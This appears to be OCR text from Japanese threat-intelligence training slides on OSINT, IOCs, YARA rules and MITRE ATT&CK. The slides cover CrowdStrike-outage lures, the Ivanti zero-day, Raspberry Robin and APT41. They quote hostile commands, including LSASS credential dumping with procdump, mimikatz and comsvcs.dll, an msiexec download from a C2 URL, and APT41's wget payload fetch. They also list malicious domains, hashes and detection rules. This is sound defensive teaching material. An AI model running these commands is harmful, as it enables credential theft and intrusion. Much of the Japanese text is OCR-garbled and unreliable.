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A OSINT KU~ PYJdMn4MdunAP 4 A Inteligence Community b 0 ~
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i P CrowdStrike 4~ ST ’ S
A 2024 074 194 ~ | CrowdStrike 4 - ST p BSoDK Blue Screen of Death P X 4 J |

|
At T - ~ i N7 N N T
I CrowdStrike 4° 4 nAK
»  Malicious Inauthentic Falcon Crash Reporter Installer Delivers-Bagktl Mythic C2 Agent Named Ciro
»  Malicious Inauthentic Falcon Crash Reporter Installer Distributed to German Enfigeasphishin§Vebsite
» LummaStealer Packed wit@ypherltDistributed Using Falcon Sensor Update Phishing Lure
»  Threat Actor Distributes PytheBased Information Stealer Using a Fake Falcon Sensor Update Lure

» Threat Actor Uses Fake CrowdStrike Recovery Manual to Deliver Unidentified Stealer

» LikelyeCrimeActor Uses Filenames Capitalizing on July 19, 2024, Falcon Sensor Content Issues in Operation TargeBaged\TAI
CrowdStrike Customers

I SOCRadar 41", . 4MnAK
»  Suspicious Domains Exploiting the Recent CrowdStrike Outage!

Copyright ©Tomohisdshikawa All rights reserved.
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https://www.crowdstrike.com/blog/malicious-inauthentic-falcon-crash-reporter-installer-ciro-malware/
https://www.crowdstrike.com/blog/malicious-inauthentic-falcon-crash-reporter-installer-spearphishing/
https://www.crowdstrike.com/blog/lumma-stealer-with-cypherit-phishing-lure/
https://www.crowdstrike.com/blog/threat-actor-distributes-python-based-information-stealer/
https://www.crowdstrike.com/blog/fake-recovery-manual-used-to-deliver-unidentified-stealer/
https://www.crowdstrike.com/blog/likely-ecrime-actor-capitalizing-on-falcon-sensor-issues/
https://www.crowdstrike.com/blog/likely-ecrime-actor-capitalizing-on-falcon-sensor-issues/
https://socradar.io/suspicious-domains-exploiting-the-recent-crowdstrike-outage/

Indicators of Compromise (IOCs)

Crowdstrike-
hotfix.zip

sqlite3.dll
vclx120.bpl
instrucciones.txt
maddisAsm_.bpl
Setup.exe
datastate.dll
madexcept_.bpl

maidenhair.cfg
(HijackLoader
configuration)
rtl120.bpl
vcl120.bpl
battuta.flv
madBasic_.bpl
(HijackLoader

first-stage)

RemCos
Payload

RemCos C2
Address

c44506feBelede5al04008755abf5bh6ace51f1a84ad656a2dccc7f2c39c0eca?2

02f37a8e3d1790ac90c04bc50de73cd1a93e27caf833ale1211b9cc6294ecee5s
2bdf023c439010ce0a786ec75d943a80a8f01363712bbf69afc29d3e2b5306ed
4f450abaa4daf72d974a830b16f91deed77bat2412804dcad1abd42a7d8b6fd0
52019147196ca868fa4e747c3b99cbalb7aa57317bf8ebf9fcbf09aa576fe006
5a3e3838d77c2102766538f783d0a4b4205e7d2cdbade0ad2ab332dc8ab32fea
6010e2147a0f51a7bfa2f942a5a9eaad9a294f463f717963b486ed3f53d305c2
835f1141ece59c36b18e76927572d229136aeb12eff44cb4ba98d7808257¢c299

931308¢cfe733376e19d6cd2401e27f8b2945cec0b9c696aecbe7029ea76d45bf6

b1fcb0339b9Yef4860bbledie5bale148321be64696af64i3b1643d1311028¢cb3
b61321a48812dc922b26953020c9a60949ec429a921033cfaf1e9f7d088eeb628
be074196291ccfr4b3c4c8bd29292da99ec37a25dc8ai651bd0ba3f0d020349

d6d5if8e9dc6d2b195a6715280c2f1bad471048a7ce68d256040672b801fdalea

48a3398bbbf24ecd64c27cb2a31e69a6b60e9a69f33fe191bcf5fddbabd9el184

213.5.130[.]58[:]443

Table 1. Campaign IOCs

https://www.crowdstrike.com/blog/likely

-ecrime -actor -capitalizing -on-falcon -sensor -issues/
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What Are Indicators of Compromise (loCs)?

Be vigilant for indicators of compromises (loCs) that may signal malicious activity. Here are
some of the suspicious domains that can be used by threat actors:

crowdstrike-helpdesk[.Jcom
crowdstrikebluescreen[.Jcom
crowdstrike-bsod[.Jcom
crowdstrikedown[.]site
crowdstrikeOday[.]Jcom
crowdstrikedoomsday[.Jcom
crowdstrikefix[.Jcom
crashstrike[.]Jcom
crowdstriketoken[.]Jcom
fix-crowdstrike-bsod[.Jcom
bsodsm8rLIxamzgjedu[.]Jcom
crowdstrikebsodfix[.]blob[.]core[.]Jwindows[.]net
crowdstrikecommuication[.]Japp
fix-crowdstrike-apocalypse[.]Jcom
crowdstrikeoutagel.]info
clownstrike[.]co[.Juk
whatiscrowdstrike[.]Jcom
clownstrike[.]co
microsoftcrowdstrike[.]Jcom
crowdfalcon-immed-update[.Jcom
crowdstuck[.]Jorg

failstrike[.Jcom

winsstrike[.lcom

crowdpass|.]

supportfalconcrowdstrikel[.Jcom
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STEP1KO k s
A OSINT KO~ Py M

A PYJdMAMNDAP 6 )
i P CVE-2025 -0282
A Ivanti Connect Secure p
A dVvMI YndnMAn

A ExP JPCERT/CC

k A
k kAN =~ 1° 7 ¥ oK
n4MnAP 4 A Intelligence Community b 0 ~
: Pulse Connect Secure P~ 97 i . 6 |
6 i ’ A X O1 > 17 Mn1~ aA" e XU |

~

T https://lwww.jpcert.or.jp/at/2025/at250001 .html

A ExP Google Cloud

T https://cloud.google.com/blog/topics/threat -intelligence/ivanti

-connect -secure -vpn -zero -day?hl=en
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https://www.jpcert.or.jp/at/2025/at250001.html
https://cloud.google.com/blog/topics/threat-intelligence/ivanti-connect-secure-vpn-zero-day?hl=en

Indicators of Compromise (IOCs)

To assist the wider community in hunting and identifying activity outlined in this blog post, we have
included indicators of compromise (IOCs) in a GTI Collection for registered users.

Code Family Filename Description

Credential Theft

DRYHOOK
Tool

PHASEJAM /tmp/s Web Shell dropper

PHASEJAM /home/webserver/htdocs/dana-

. ) Web Shell
Webshell na/jam/getComponent.cgi

PHASEJAM

/home/webserver/htdocs/dana-na/auth/restAuth.cgi Web Shell
Webshell

SPAWNSNAIL /root/home/lib/libsshd.so SSH backdoor

SPAWNMOLE /root/home/lib/libsocks5.so Tunneler

SPAWNANT /root/lib/libupgrade.so Installer

Log tampering

SPAWNSLOTH /tmp/ liblogblock.so e
utility

https://cloud.google.com/blog/topics/threat -intelligence/ivanti -connect -secure -vpn -zero -day?hl=en



rule M_Credtheft_DRYHOOK_ 1 {
meta:
author = "Mandiant”
description = "Hunting rule looking for strings identified in
the DRYHOOK credential stealer”
md5 = "61bb586dc4e@47abo8lef6cac5684e48"
strings:

"/home/perl/DSAuth.pm"
"replace_content™
"replacel_content”
"replace2_content"”
"pkill cgi-server"”
"setPrompt ="
"runSignin = \\*DSAuthc::RealmSignin_runSignin"
"/bin/mount -o remount,rw / > /dev/null 2>&1"
{64 61 74 61 20 3d 20 72 65 2e 73 75 62 28 62 22
5¢c 2a 72 75 6e 53 69 6e 69 6e 45 42 53 4c 20 3d 2e 2a 3b 22 2c
62 61 73 65 36 34 2e 36 34 64 65 63 6f 64 65 28 72 65 70 6¢C 61
63 65 32 5f 63 6 6e 65 6e 74 2e 65 6e 63 6T 64 65 28 29 29 2e 64
65 63 6f 64 65 28 29 65 6e 63 6f 64 65 28 22 75 6e 69 63 6f 64 65
5f 65 73 63 61 70 65 29 2c 64 61 74 61 29}
condition:

8 of them and filesize < 20KB

https://cloud.google.com/blog/topics/threat -intelligence/ivanti -connect -secure -vpn -zero -day?hl=en
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Z dc030778938b806198235a709d0d 18734¢325accid4b12a55ecc2d56080DI000 Q M B8 [P son

@ 64 security vendors and 2 sandboxes flagged this file as malicious (™ Reanalyze = Similar ~

64

dc030778938b8b6f38236a709d0d18734c325acci44b12a55ecc2d56b8bb3000 Size Last Analysis Date
Infected_file_malware_sample 68.00 KB 10 days ago
9 pedil spreader

Community Score

DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY 21+

Join the VT Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Display grouped sandbox reports
&5 caaE

B Y Lastine

Activity Summary Download Artifacts ~ Full Reports Help +

A 2 Detections M Mitre Signatures @ IDS Rules = Sigma Rules < Dropped Files ' Network comms

1STEALER 1 MALWARE 28 INFO NOT FOUND NOT FOUND NOT FOUND 3DNS

Dynamic Analysis Sandbox Detections @
The sandbox C2AE flags this file as: STEALER
The sandbox Lastline flags this file as: MALWARE
MITRE ATT&CK Tactics and Techniques Open in MITRE ATT&CK Navigator ~

-+ Execution TA0002

+ Privilege Escalation 740004
-+ Defense Evasion TA0005
-+ Credential Access TA0006

-+ Discovery TA0007

Network Communication

DNS Resolutions
-+ ™ lefithenhispar.ru

-+ ™ reninparwil.com

-+ O reptertinrom.ru

https://www.virustotal.com/gui/file/dc030778938b8b6f98236a709d0d18734c325accf44b12a55ecc2d56b8bb9000/
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A" Y7100 T k kA~ 1" ¥ »5K
STEP1KO k =

A SIGINT KA A 4Nk kvd™ © 7k MY4dMY Y 4

A PYYA4dMN N/4N K

N e N P nA M1 NAP™ AT AT
PAMMAA d0aAV dA7 T T VA R A
I HKEY_LOCAL_MACH8twareéMicrosoftéWindowséCurrentVersio#Run

P 0 _ 1N M1~ 149V
A % SystemRoot %\ Temp\ < LokiBit 3.0>.exe
A C:\ desktopcentral \ psp.psi

P N~ & N . 4 ANM1 41 p MD5k SHALk SHA256)
A 4b8e83f4f6257fc1b9fa485030c4f195313bf3b1f41d279bbc728abc6bb9309a

PYAUd 1A
A windows_x32_encrypt.exai [] -da [DOMAIN¥user]:[password]
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Infected USB
drive attached

Raspberry Robin is
typically introduced
by infected removable
drives such as USB
devices

4

cmd.exe and
msiexec.exe

cmd.exe reads and
executes a malicious file
stored on the infected
device, then launches
misexec.exe

msiexec.exe attempts
to download and install
a package from a
malicious URL

Malicious DLL
download

If the external msiexec.exe
connection is successful, it
downloads and installs a
malicious DLL

K Raspberry Robin

rundll32.exe
and Windows
utility misuse

rundll32.exe launches
a legitimate Windows
utility like odbcconf.exe
to execute the malicious

Ongoing command
& control activity

regsvr32.exe, rundll32.exe,
and dllhost.exe repeatedly
attempt outbound network
connections, typically to
TOR nodes

—

TYPICAL RASPBERRY ROBIN INTRUSION CHAIN

https://redcanary.com/blog/raspberry

-robin/
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= O sophoslabs / loCs

<> Code (©) Issues 2

11 Pull requests

[ Code

£ master - + Q

Q Gotofile t
LJ 1TOJ-F>-FA.CSV -
Troj-Polazert_|OCs.csv
Troj-Qakbot.csv
Troj-Ransom-GXS.csv
Troj-gootloader.csv
Troj-gootloader.yara
Troj_Agent-BJJB.csv
Troj_GuLoader.csv
Trojan-Glupteba
Trojan-LDMiner.csv
Worm-Raspberry-Robin.csv
Worm-WannaCry
atk-backstab-d.csv
bitcoin-addys

double-dragon-breath-iocs.csv

[ e e | ) i R I P I ) I B O P R e P

email account compromise 365 2...

() Actions

B Projects @ Security |~ Insights

loCs / Worm-Raspberry-Robin.csv (&

0 dalab-sophos Add files via upload

‘ Preview ‘ Code

Q. Search this file

10

11

12

Indicator_type
Description
domain_port
url_path
command_line
command_line
command_line
command_line
command_line
command_line
command_line

command_line

Blame 12 lines (12 loc) - 1.61 KB

Data

1OCs related to recent Raspberry Robin infections

5qY.ro:8080

hxxp://5¢Y.ro:8080/y/cB36RUCKfQKp7SE/00lvooA/p8a/{redacted}

C\Windows\System32\rundll32.exe" SHELL32 ShellExec_RunDLL regsvr32.exe -s "C:\ProgramData\Wwhm\vsinzf.log
RUNDLL32.EXE C:\ProgramData\EdgeProt\StgrtedRest\AM5Tedoos_x86.dll FXJooft_hhmme

RUNDLL32.EXE C:\ProgramData\FilterBoard\NomorPrtfession\sdiabeft_Vibm02.dll Rgstfo_Web_Ryutclt

CA\Windows\system32\rundlI32.EXE C:\ProgramData\GenericMicro\UriloFeatkres\mxiDaas_Pkrces.dl,ROUTnteh__1_0

CA\Windows\SysWOW64\RUNDLL32.EXE C:\ProgramData\WrapAlarm\EngerprispSxory\tdawty_CredeDEAS.dll,Devce_AdmTxplEditxf_Resohrgeh

RUNDLL32.EXE C:\ProgramData\Componentsimport\GutlookGate\ades_pbouril.dll,wmsksoft_PoCZ5

CA\Windows\SysWOW64\RUNDLL32.EXE C:\ProgramData\GuardShade\UtilitdRIset\dpset_CXVR32.dIl CFBBRw_wisdoker

msiEXEC UwAAbX=shmf WRdYMn=aFRmAyQL /q iUde=0DJhzS YDLyOBy=LteB YJbgE=HpiaCV /i"hxxP://5qY[.]JR0:8080/y/cB36RUCKfQKp7SE/0clvooA/p8a/{redacted}” kFTIeNctT=InnOjRO

-Robin.csv

Q_ Type [/] to search >

Note

Compromised QNAP server used for C2

URL path used for installation

Example command to load DLL without odbccong, instes
Observed Raspberry Robin DLL commandline

Observed Raspberry Robin DLL commandline

Observed Raspberry Robin DLL commandline

Observed Raspberry Robin DLL commandline

Observed Raspberry Robin DLL commandline

Observed Raspberry Robin DLL commandline

Example of Raspberry Robin installation command
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IP" 1 4MX$

2
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A

A

IOC 1 Kk k N
Y 10C” 0 i k kA = 1~ ¥ 5K
STEP3K 1 k
S ~ k kKA 7 1T 7 A1
|f) YARA rule silent_banker : banker
VirusTotal VictorAlvarez ~ =~ " 4N T N4 T { -
k Tn4 1T YARAMn4~ 7" \v4" 77" k
y - 3~ - BRINENE i = JYAJdAAMY IV description = "This is just an example"
Y 1"\1 N ,.l'n'1a” P 7. 5 N i - threat_level = 3
in_the_wild = true
[ - I X 0O T K strings :
A FM $a = {6A 40 68 00 30 00 00 6A 14 8D 91}
A strings : NV $b = {8D 4D BO 2B C1 83 CO 27 99 6A 4E 59 F7 F9}
A condition: AAMNNT A 1M N $¢ = "UVODFRYSIHLNWPEJXQZAKCBGMT"
~ I N-’ 1~ ST condition :
($a or $b) and $c
}
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AYnvMvMMvMA" P Cyberhaven 4

T https://lwww.cyberhaven.com/blog/cyberhavens

Chrome O X1 / N

-chrome -extension -security -incident -and-what -were -doing -about -it

n

A 4"
i 0 Y Y MK
A 4 Chrome Web Store Developer Support™ =~ M" VY dN1n4 -~ Cyberhaven/f A" pi
0 ,_~/1/IP ) q TnA AN N7 \I“l.\l\l\ A'Googlg MnW9v’ i1 v Nn1
NnA" T dyAYnYAdpoPrivacy Pol Py Exf ensionol
' 5 K
A A7 i 10 \In’l\ln“i NAYnYAd™ 47 i"' “NAT
AChrom,eWebStore 0° " Chrome O """ VVv4n1po” " Chrome 0 ~ |~ 0
i 6° " Mn1~ _ PI
A Chrome Web Store V41 A" “ y4AMNM~ T i3 0%~ 0 X0 V|
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Chrome O X1 / N
-chrome -extension -security -incident -and-what -were -doing -about -it

AYnvMvMMvMA" P Cyberhaven 4

https://www.cyberhaven.com/blog/cyberhavens

A+ B Mn14 K
i E 7 M1 T4 s N T T
i 477 % 7 workerjst 1 T 4”7 Spc&CindT T T s “4nViMA4AnMT M d4n1d
oo T AT LN Ccontentjsht T4 T i AT T T MNT AT AnNAYnMT S 07 i workerjs

A~ T N47 8 S e R/ R |

A K
i https://tadmaddad.qgithub.io/202412-29-chrome-extensioninvestigation/
I https://secureannex.com/blog/cyberhaveextensiorcompromise/
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Secure Annex ©~ YARA

rule Cyberhaven_ Extension_ Pattern  {
meta :
description = "Detects suspicious messages seen in the Cyberhaven attack"
severity = "high"

strings :

$rtext 1 = "-rtext " nocase wide ascii

$rtext 2 = " rtext " nocase wide ascii

$rjson 1 = "-rjson " nocase wide ascii

$rjson 2 = " _rjson " nocase wide ascii

$errors 1 = "-check-errors" nocase wide ascii

$errors 2 = " _check -errors" nocase wide ascii
condition :

(any of ($rtext *)) and
(any of ($rjson *)) and
(any of ($errors*))
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Y 10C” 0 i k kA = 1~ ¥ 5K
STEP3K 1 k
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~

P1n41”~ ~ ~ KEmoCheck 2 1n4 >~ =~ ~ 7. A4

JPCERT/C&X s ~  Emotet - “ 1n4pJISAC +YnMMn1~ ~ 3~ P
std::vector<EmotetLoader> EmotetScannerV4() { Emotet© K ~\V 1~ "~ " Emotet AT ~
DBG("====== Scan V4 ====="); https ://www .jpcert .or.jp/at/ 2022 /at 220006 .html
std::vector<EmotetlLoader> suspicious; EmoCheck Scanner V4 1 K
rundll 32.exe * D 4 07 T4 T MAUNTAT 7 -
wchar_t path[MAX_PATH]; https : //github .com/JPCERTCC/EmoCheck/blob/master/emocheck/modules/scan_v 4.cpp

std::vector<std: :string> susp_files;

“iundl 321 Vi MAUNTTGAT 7 T b 4 T 50T

std::string filename; https ://www .cybereason .co.jp/blog/security/ 8909 /

https ://attack .mitre .org/techniques/T 1218/011/

std::vector<const char *> susp_patts;

susp_patts.push_back("~.*rundll32\\.exe.*, .*RunDLL.*$");

"a . _— K JSAC2022 - Emotet vs EmoCheck
susp_patts.push_back("".*rundl132\\.exe.*, .*ShowDialogA.*$"); https://jsac.jpcert.or.jp/archive/2022/pdf/JSAC2022_5_tani -kino - sajo_jp.pdf

susp_patts.push_back("~.*rundl132\\.exe.*, .*[A-Za-z]{4,15}.%$"); | . https://www.youtube.com/watch?v=_XX8NSVbW2w
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A TTPsp Tactics, Techniques and Procedures P
i AX 9 477 5‘pPyram|dofPa|n 1 A 47 AnP
I MITRE ATT&CKM 4 n 1N n N~ a '\ 7 1
I ATT&CKK Adversarial Tactics, Techniques, and Common Knowledge
ATTPs™ ™ a~ 47 14NV

A https://attack.mitre.orq/

Techniques p P17 1 AX s~ 0aAp=What? P
actics P Credential Access p 7 T NV M Pj Privilege Escalation p~

Tactcs p0 P~ s 7. . i Ca p =How? P
P p Tactics P Credential Access z p Technlques P Credential Dumping

Techniques

o2 >
54
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A MITREATT&CK M4 n1+n\

I Adversarial Tactics, Techniques, and Common Knowledge

MITRE | ATT&CK

a- 4

174V Vv

p Common Knowledge

/N

Procedures ~ 1|

Tactics = Techniques ~ Defenses ~ CTl - Resources ~

Benefactors

Blog &' ‘ Sear

Reminder: the TAXII 2.0 server retired on December 18. Please switch to the TAXII 2.1 server to ensure uninterrupted service.

ATT&CK

Get Started Take a Tour
Contribute Blog &
FAQ Random Page ~

MITRE ATT&CK® is a globally-accessible knowledge base of adversary
tactics and techniques based on real-world observations. The ATTRCK
knowledge base is used as a foundation for the development of specific
threat models and methodologies in the private sector, in government, and
in the cybersecurity product and service community.

With the creation of ATT&CK, MITRE is fulfilling its mission 1o solve
problems for a safer world — by bringing communities together to develop
more effective cybersecurity. ATT&CK is open and available to any person or
organization for use at no charge.

ATT&CK Matrix for Enterprise
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ebugger Evasion

evice Driver Discovery

omain Trust Discovery

le ar

roup Policy Discovery

bg Enumeration

letwork Service Discovery
jetwork Share Discovery
jetwork Sniffing

jassword Policy Discovery

ripheral Device Discovery

hniques p

Remote Service Session
Hijacking (2

Remote Services (g

Replication Through Removable
Media

Software Deployment Tools

Taint Shared Content

Content Injection

Exfiltration Over Altemative
Protocol 3

Automated Collection Data ®
Data Encoding ) | Extitration over c2 channel
Browser Session Hijacking D @
Over Other Network
Clipboard Data Medium ;) Disk Wipe
Dynamic @
Data from Cloud Storage Over Physical Endpoint Denial of Service (5

Encrypted Channel

Medium (;)

Data from Ci
Repository z) Fallback Channels

Data from Hide Infrastructure

Use Alternate Authentication
Material

[l Modify Authentication Process (s) |

I' In: d Credentials (s ]

Permission Groups Discovery (3

[l Modify Cloud Compute Infrastructure (s, |

Modify Cloud Resource Hierarchy

Modify Registry

Modify System Image z)

Network Boundary Bridging (1)

Obfuscated Files or Information (14

Discovery
Query Registry

Remote System Discovery

I Software Discovery )

System Information Discovery

Isystem Location Discovery ()
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Repositories (s

Ingress Tool Transfer
Data from Local System
Muiti-Stage Channels

Data from Nety ared Drive

Non-Application Layer Protocol
Data from Removable Media
Non-Standard Port
Data Staged ()

"
CEEETr—
frove |
T
Remote Access Software

Screen Capture
] Traffic Signaling )

Protocol Tunneling

Video Capture

I web service 3

Exfiltration Over Web
Service (4)

Scheduled Transfer

Transfer Data to Cloud Account

Financial Theft

Firmware Corruption

Inhibit System Recovery
Network Denial of Service (z)

Resource Hijacking (g

Service Stop

System Shutdown/Reboot
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Home > Techniques > Enterprise > 0S Credential Dumping > LSASS Memory

OS Credential Dumping: LSASS Memory

Other sub-techniques of OS Credential Dumping (8) v ID: T1003.001

Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of Sub-technique of: T1003

Tactic: Credential Access

©

credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct Lateral Movement using Use Alternate Authentication Material.

)

@ Platforms: Windows

As well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system. i . . .
Contributors: Ed Williams, Trustwave, SpiderLabs; Edward Millington

For example, on the target host use procdump: Version: 1.2

Created: 11 February 2020

Last Modified: 03 April 2023

¢ procdump -ma lsass.exe lsass_dump

Locally, mimikatz can be run using:
Version Permalink
¢ sekurlsa::Minidump lsassdump.dmp

* sekurlsa::logonPasswords
Built-in Windows tools such as comsves.dll can also be used:
¢ rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump PID lsass.dmp full el

Windows Security Support Provider (SSP) DLLs are loaded into LSASS process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows,
such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: EKLM\SYSTEM\CurrentControlset\Control\Lsa\Security Packages and
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\0SConfig\Security Packages.An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the

AddSecurityPackage Windows API function is called.P!
The following SSPs can be used to access credentials:

+ Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package.
» Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges.¥!
« Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.

+ CredSSP: Provides SSO and Network Level Authentication for Remate Desktop Services.!
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Home > Groups > APT41

APTA4T

APT41 is a threat group that researchers have assessed as Chinese state-sponsored espionage group that also conducts financially-motivated operations. Active since

o |

Technique ~

at least 2012, APT41 has been observed targeting healthcare, telecom, technology, and video game industries in 14 countries. APT41 overlaps at least partially with 1D: 60096

public reporting on groups including BARIUM and Winnti Group.[1112] @ Associated Groups: Wicked Panda

S

Contributors: Kyaw Pyiyt Htet, @KyawPyiytHtet
Version: 3.1

Created: 23 September 2019

Last Modified: 23 March 2023

Version Permalink

Associated Group Descriptions

Name Description

Wicked Panda 1
Campaigns

D Name First Seen Last Seen References  Techniques

C0017  C0017  May2021¥  February 20224 14 Access Token Manipulation, Application Layer Protocol: Web Protocols, Archive Collected Data: Archive via Custom Method, Command and Scripting Interpreter: JavaScript,
Command and Scripting Interpreter: Windows Command Shell, Data from Local System, Data Obfuscation: Protocol Impersonation, Data Staged: Local Data Staging,
Deobfuscate/Decode Files or Information, Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol, Exfiltration Over C2 Channel, Exfiltration Over Web
Service, Exploit Public-Facing Application, Exploitation for Privilege Escalation, Hijack Execution Flow, Ingress Tool Transfer, Masquerading: Match Legitimate Name or Location,
Masquerading: Masquerade Task or Service, Obfuscated Files or Information: Software Packing, Obfuscated Files or Information, Obtain Capabilities: Tool, OS Credential Dumping:
Security Account Manager, Proxy, Scheduled Task/Job: Scheduled Task, Server Software Component: Web Shell, System Information Discovery, System Network Configuration
Discovery, System Owner/User Discovery, Web Service: Dead Drop Resolver, Web Service

Techniques Used

Domain ID Name Use

Enterprise  T1134 Access Token Manipulation During C0017, APT41 used a ConfuserEx obfuscated BADPOTATO exploit to abuse named-pipe impersonation for local NT AUTHORITY\svsT=M privilege escalation.[!
Enterprise  T1098 Account Manipulation APTA41 has added user accounts to the User and Admin groups.[’!

Enterprise  T1071 = .001 = Application Layer Protocol: Web Protocols APT41 used HTTP to download payloads for CVE-2019-19781 and CVE-2020-10189 exploits.!)

During C0017, APT41 ran wget http://102.224.80[.]44:8080/kernel to download malicious payloads.l“l
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Home > Campaigns > SolarWinds Compromise

SolarWinds Compromise

The SolarWinds Compromise was a sophisticated supply chain cyber operation conducted by APT29 that was discovered in mid-December 2020.

APT29 used customized malware to inject malicious code into the SolarWinds Orion software build process that was later distributed through a D: Co024

normal software update; they also used password spraying, token theft, APl abuse, spear phishing, and other supply chain attacks to compromise First Seen: August 2019 1
user accounts and leverage their associated access. Victims of this campaign included government, consulting, technology, telecom, and other Last Seen: January 2021 1
organizations in North America, Europe, Asia, and the Middle East. Industry reporting initially referred to the actors involved in this campaign as Version: 1.0

UNC2452, NOBELIUM, StellarParticle, Dark Halo, and SolarStorm.[2IBI4IS]6I7IE] Created: 24 March 2023

In April 2021, the US and UK governments attributed the SolarWinds Compromise to Russia's Foreign Intelligence Service (SVR); public statements Last Modified: 14 April 2023

included citations to APT29, Cozy Bear, and The Dukes.?l1911 The US government assessed that of the approximately 18,000 affected public and Version P ik
ersion Permalin
private sector customers of Solar Winds’ Orion product, a much smaller number were compromised by follow-on APT29 activity on their systems.['%

Groups
D Name Description
60016 APT29 o1l
Techni q ues Used ATT&CK® Navigator Layers ~
Domain ID Name Use
Enterprise  T1087 Account Discovery During the SolarWinds Compromise, APT29 obtained a list of users and their roles from an Exchange server using cat-
ManagementRoleAssignment .[4]
.002 Domain Account During the SolarWinds Compromise, APT29 used PowerShell to discover domain accounts by exectuing cet-abuser and Get-ADGroupMember .
[51[14]
Enterprise  T1098 .001 Account Manipulation: Additional Cloud During the SolarWinds Compromise, APT29 added credentials to OAuth Applications and Service Principals.19/%)

Credentials
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Domain D

Enterprise  T1134

Enterprise  T1098

Enterprise  T1547

Enterprise  T1555

Enterprise  T1003

Home > Software > Mimikatz

Mimikatz

Mimikatz is a credential dumper capable of obtaining plaintext Windows account logins and passwords, along with many other features that make it useful for testing

the security of networks. 112

.005

.005

.003

.004

.001

Technigues Used

Name

Access Token Manipulation: SID-History
Injection

Account Manipulation

Boot or Logon Autostart Execution:

Security Support Provider

Credentials from Password Stores

Credentials from Web Browsers

Windows Credential Manager

0S Credential Dumping: LSASS Memory

ID: S0002
@ Type:TOOL
@ Platforms: Windows

Contributors: Vincent Le Toux
Version: 1.7

Created: 31 May 2017

Last Modified: 07 March 2023

Version Permalink

ATT&CK® Navigator Layers ~

Use

Mimikatz's MIsC::2ddsid module can appended any SID or user/group account to a user's SID-History. Mimikatz also utilizes SID-History Injection to expand the scope of other
components such as generated Kerberos Golden Tickets and DCSync beyond a single domain.

The Mimikatz credential dumper has been extended to include Skeleton Key domain controller authentication bypass functionality. The LszbpumME: : cChangeNTIM and
LSADUME: : SetNTIM modules can also manipulate the password hash of an account without knowing the clear text value. 17114l

The Mimikatz credential dumper contains an implementation of an SSP!"]
Mimikatz performs credential dumping to obtain account and passwaord information useful in gaining access to additional systems and enterprise network resources. It contains
functionality to acquire information about credentials in many ways, including from the credential vault and DPAP| [1IEIIEI7IIE]

Mimikatz performs credential dumping to obtain account and passwaord information useful in gaining access to additional systems and enterprise network resources. It contains
functionality to acquire information about credentials in many ways, including from DPAP). SNl

Mimikatz contains functionality to acquire credentials from the Windows Credential Manager.”!

Mimikatz performs credential dumping to obtain account and password information useful in gaining access to additional systems and enterprise network resources. It contains
functionality to acquire information about credentials in many ways, including from the LSASS Memory. 11216171
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Domain

Enterprise

Enterprise

Enterprise

Enterprise

D

T1547

T1601

T1599

T1003

.008

.001

.002

.001

Home > Mitigations > Credential Access Protection

Name

Boot or Logon Autostart

Execution: LSASS Driver

Modify System Image

Patch System Image

Downgrade System Image

Network Boundary Bridging

Network Address Translation

Traversal

0S Credential Dumping

Credential Access Protection

Use capabilities to prevent successful credential access by adversaries; including blocking forms of credential dumping.

ID: M1043

Version: 1.1

Created: 11 June 2019

Last Modified: 21 October 2022

Version Permalink

Techniques Addressed by Mitigation

Use

On Windows 10 and Server 2016, enable Windows Defender Credential Guard (') to run Isass.exe in an isolated virtualized environment without any device drivers. !

Some embedded network devices are capable of storing passwords for local accounts in either plain-text or encrypted formats. Ensure that, where available, local passwords are always
encrypted, per vendor recommendations. [°)

Some embedded network devices are capable of storing passwords for local accounts in either plain-text or encrypted formats. Ensure that, where available, local passwords are always
encrypted, per vendor recommendations. ¥/

Some embedded network devices are capable of storing passwords for local accounts in either plain-text or encrypted formats. Ensure that, where available, local passwords are always
encrypted, per vendor recommendations. 7]

Some embedded network devices are capable of storing passwords for local accounts in either plain-text or encrypted formats. Ensure that, where available, local passwords are always
encrypted, per vendor recommendations.

Some embedded network devices are capable of storing passwords for local accounts in either plain-text or encrypted formats. Ensure that, where available, local passwords are always
encrypted, per vendor recommendations. 14/

With Windows 10, Microsoft implemented new protections called Credential Guard to protect the LSA secrets that can be used to obtain credentials through forms of credential dumping. Itis
not configured by default and has hardware and firmware system requirements. 1%l It also does not protect against all forms of credential dumping. [°]
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Home > Data Sources > Active Directory

Active Directory

A database and set of services that allows administrators to manage permissions, access to network resources, and stored data objects (user,

group, application, or devices)!"!

Data Components

ID: DS0026
Platforms: Azure AD, Windows

[S]

) Collection Layers: Cloud Control Plane, Host
Contributors: Center for Threat-Informed Defense (CTID)
Version: 1.0
Created: 20 October 2021
Last Modified: 30 March 2022

Version Permalink

Active Directory: Active Directory Credential Request

A user requested active directory credentials, such as a ticket or token (ex: Windows EID 4769)

Domain ID Name
Enterprise  T1649 Steal or Forge
Authentication

Certificates

Enterprise  T1558 Steal or Forge Kerberos
Tickets

001  Golden Ticket

003 Kerberoasting

Detects

Monitor AD CS certificate requests (ex: EID 4886) as well as issued certificates (ex: EID 4887) for abnormal activity, including unexpected certificate enrollments and
signs of abuse within certificate atiributes (such as abusable EKUs).””)

Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634), RC4 encryption within ticket
granting tickets (TGTs), and ticket granting service (TGS) requests without preceding TGT requests.””/*/*IManitor the lifetime of TGT tickets for values that differ from
the default domain duration.'s! Monitor for indications of Pass the Ticket being used to move laterally.

Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4769, 4768), RC4 encryption within TGTs, and TGS
